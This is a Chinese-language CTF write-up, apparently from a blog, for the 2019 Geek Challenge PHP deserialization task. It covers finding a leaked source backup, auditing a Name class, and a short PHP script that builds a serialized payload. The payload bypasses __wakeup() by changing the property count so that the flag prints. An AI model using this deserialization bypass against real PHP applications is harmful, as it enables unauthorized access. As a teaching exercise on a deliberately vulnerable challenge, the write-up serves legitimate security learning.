zoukankan      html  css  js  c++  java
  • 2019极客大挑战PHP反序列化

    1. 进入题目看到一只猫和提示备份的习惯。猜测可能有源码泄露,通过目录扫描工具可以获取到备份文件:www.zip包含其源码。
    2. 对其源码进行审计
      a. index.php 包含文件index.php;通过get方式获取一个参数select,并对参数select进行反序列化

      

      b. class.php 包含flag.php。主体部分为一个Name类,
      i. 有两个私有变量username,password
      ii. 构造方法__construct($usernam,$password)
      iii. 魔幻函数__wakeup(),在进行反序列化时调用,给变量username赋值为guest
      iv. 销毁函数__destruct(),结束对象是执行
        1) 第一个if判断是password是否为100。如果不为100就结束方法。
        2) 第二个if判断username是否为'admin',且为字符串。如果满足条件就输出flag

     

    3. 解题思路:由index.php中的反序列化可以想到的是通过反序列化触发Name类中的魔幻函数,绕过wakeup()函数,最后执行destruct时,username='admin',password=100满足if条件输出flag
    4. payload

    <?php
    class Name{
        private $username = 'nonono';
        private $password = 'yesyes';
      //username==='admin' password = 100    
    }
    //通过构造方法username='admin' password = 100 $a = new Name('admin',100); //序列化操作,并对字符串进行URL编码,因为Name类的变量为私有变量,避免打印时漏掉空格 $b = urlencode(serialize($a)); //修改属性的的个数,绕过__wakeup()函数 $b = str_replace('%3A2%3A','%3A3%3A',$b); echo $b ; ?>

    flag

     

  • 相关阅读:
    github教程
    Django订单接入支付宝
    python去除html标签的几种方法
    vue-cli项目生成
    restful设计规范
    Vue的指令系统、计算属性和表单输入绑定
    Vue工具
    药物不良反应数据库信息的下载
    爬虫案例之Pubmed数据库下载
    数据分析案例之39药品网
  • 原文地址:https://www.cnblogs.com/ersuani/p/13815355.html
Copyright © 2011-2022 走看看